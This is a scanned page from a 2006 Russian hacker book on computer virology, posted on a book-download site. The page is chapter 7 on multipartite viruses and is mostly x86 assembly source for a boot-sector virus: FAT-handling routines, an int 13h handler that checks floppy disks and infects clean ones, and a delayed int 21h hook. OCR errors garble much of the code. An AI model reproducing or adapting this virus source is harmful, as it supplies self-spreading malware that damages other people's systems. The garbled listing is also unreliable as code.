Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 85 86 87 88 89 90 < 91 > 92 93 94 95 96 97 .. 123 >> Следующая

второй-2 и т. д. Она изменяет переменную CURR_FAT_SEC, как только сектор
загружается удачно.
GET_FAT_SECTOR:
inc ах ;инкрементируем al, чтобы получить номер сектора mov cl.al ;на
треке О
GFSR: mov ch,0
mov dl,[CURR_DISK] mov dh,0
mov bx,OFFSET SCRATCHBUF
mov ax,0201H ;читаем сектор FAT в буфере
int 40h
jc GFSR ;noBTop, если ошибка
dec cx
mov [CU RR_FAT_SEC] ,d ret
Эта подпрограмма получает байт офсета записи FAT в сх и помещает его в
Ьх. Она работает только для 12-битной FAT.
GET_FAT_OFFSET:
mov ах,3 ;умножаем на 3 mul сх
shr ах,1 ;делимна2
mov bx.ax
ret
Эта подпрограмма конвертирует количество кластеров в абсолютное число
тр./гол./сек. Количество кластеров передается в сх, а тр./гол./сек.
возвращается в сх и dx в стилевом формате int 13h.

Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
CLUSTTO_ABSOLUTE: dec сх
dec сх {кластеры-2
mov al,[SECS_PER_CLUST] xor ah.ah
mul cx ;ах=(кластеры-2)*(секторы на кластер) push ax
mov ax,[DIR_ENTRIES] xor dx.dx mov cx,16 div cx pop cx
add ax,cx ;ах={дир. записи )/16+(кластвры-2)*(секгары на кластер) push ах
mov al,[FATS] xor ah.ah
mov cx,[SECS_PER_FAT]
mul cx ;ах=количество РАТ*секторы на FAT
pop cx
add ax.cx
add ax, [RESERVEDJSECS] ;ах=абсолютный номер сектора (0=3C) mov bx.ax
mov cx, [SECS_PER_TRACK]
mov ax, [HEADS]
mul cx
mov cx,ax
xor dx,dx
mov ax,bx
div cx ;ах=(абс. #сект.)/(головки*секторы на трек)=треки push ах
mov ax.dx {остаток в ах
ГЛАВА 7. Многоцелевые вирусы
mov dh.al mov cl.dl inc cx
mov cx, [SECS_PER_TRACK] xor dx.dx div cx
dh.al ;dh=HOMep головки
;с!=номер сектора
pop ax mov ch.al ret
;сЬ=номер трека
Эта подпрограмма переписывает сектор FAT, существующий в памяти диска.
Она записывает оба FAT, используя int 13.
UPDATE_FAT_SECTOR:
mov сх, [RESERVED_SECS]
add cl, [CURR_FAT_SEC]
xor dh.dh
mov dl,[CURR_DISK]
mov bx,OFFSET SCRATCHBUF
mov ax,0301H
int 40h модификация первого FAT add cx, [SECS_PER_FAT] cmp cx,
[SECS_PER_TRACK] .нужен, чтобы перейти к головке 1? jbe UFS1
sub сх, [SECS_PER_TRACK] inc dh
mov ax,0301H
int 40H модификация второго FAT
ret
Эта подпрограмма инициализирует переменные диска, необходимые для
использования процедур управления FAT.
UFS1:
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
INIT_FAT_MANAGER:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax.cs
mov ds.ax
mov es.ax
mov cx,15
mov si.OFFSET SCRATCHBUF+13
mov di,OFFSET SECS_PER_CLUST
rep movsb перемещаем данные из ЗС
mov [CURR_FAT_SEC],{^инициализируем это
mov ax,[SECTORS_ON_DISK] .всего секторов на диске mov bx,[DIR_ENTRIES]
mov cl ,4 shr bx.cl
sub ax.bx .вычитаем размер корневой директории mov bx,[SECS_PER_FAT] shl
bx,1
sub ax,bx ;вычитаем размер двух FAT dec ax -.вычитаем загрузочный сектор
xor dx.dx
mov bl,[SECS_PER_CLUST] ;делим на значение ; секторов на кластер
xor bh.bh div bx
ГЛАВА 7. Многоцелевые вирусы
inc ах добавляем 1, чтобы ах=макс
количество кластеров
mov [MAX_CLUST],ax
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
Модуль MPJNT 13H.ASM
Обработчик прерывания 13H.
OLD_13H DD ?; старый вектор прерывания 13H переходит сюда INTJ3H:
call INTJ21HJHOOKER -.перехват прерывания 21Н, если мы хотим sti
cmp ah,2 -.получить прерывание на чтение
jz READ.FUNCTION
cmp ах,75А9Н ;проверка для инсталляции вируса в RAM jnz I13R ;нет
проверки, переход к оригинальному обработчику clc ;иначе, возврат с
очищенным флагом переноса retf 2
I13R: jmp DWORD PTR cs:[OLD_13H]
Эта часть кода управляет всеми попытками доступа к дисковой BIOS-функции
2. Если производится попытка читать загрузочный сектор на дискете и мотор
выключен, эта подпрограмма проверяет, заражена ли дискета, и если нет, то
инфицирует ее.
READ_FUNOTION: ;обработчик функции чтения диска
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
cmp dh,0 ;головка О?
jnz I13R ;нет, пусть BIOS управляет сама
cmp сх,1 ;трек 0, сектор 1?
jnz I13R ;нет, пусть BIOS управляет сама
cmp dl,80H ;нет, это жесткий диск с:?
jz I13R ;да, пусть BIOS управляет сама
movcs:[CURR_DISK],dl ; сохранить номер текуиюго доступного ;диска
call CHECK_DISK ;дискета уже заражена? jz 113R ;да, передать контроль
к BIOS
call IN IT_FAT_M AN AGER инициализируем управляющие .подпрограммы FAT
call INFECT_FLOPPY ;нет, инфицировать дискету jmp I13R
Следующая подпрюграмма перехватывает прерывание 21Н, когда инсталлируется
DOS. Перехватчик int 21h находится в модуле INT21H.ASM. Эта подпрограмма
перехватывает прерывание, когда она видит, что сегмент для вектора int
21h больше, чем 70Н.
DELAYCNT EQU 30 '.время до перехвата (в секундах)
I NT_21 Н_Н OOKER:
cmp cs:[HOOK21],1 ;уже перехвачено? je 121 HR ;да, не перехватывать
дважды
push es push ds push si push di push dx push ax push cs pop es
ГЛАВА 7. Многоцелевые вирусы
хог ах.ах
mov ds.ax
mov si,46CH
mov ax,WORD PTR [si]
mov dx.WORD PTR [si+2]
sub dx.WORD PTR cs: [LOAD_TlME+2]
sbb ax,WORD PTR cs:[LOAD_TlME]
cmp ax,18*DELAYCNT ;90 секунд после загрузки?
jl 121HX ;еще нет, просто выход
Предыдущая << 1 .. 85 86 87 88 89 90 < 91 > 92 93 94 95 96 97 .. 123 >> Следующая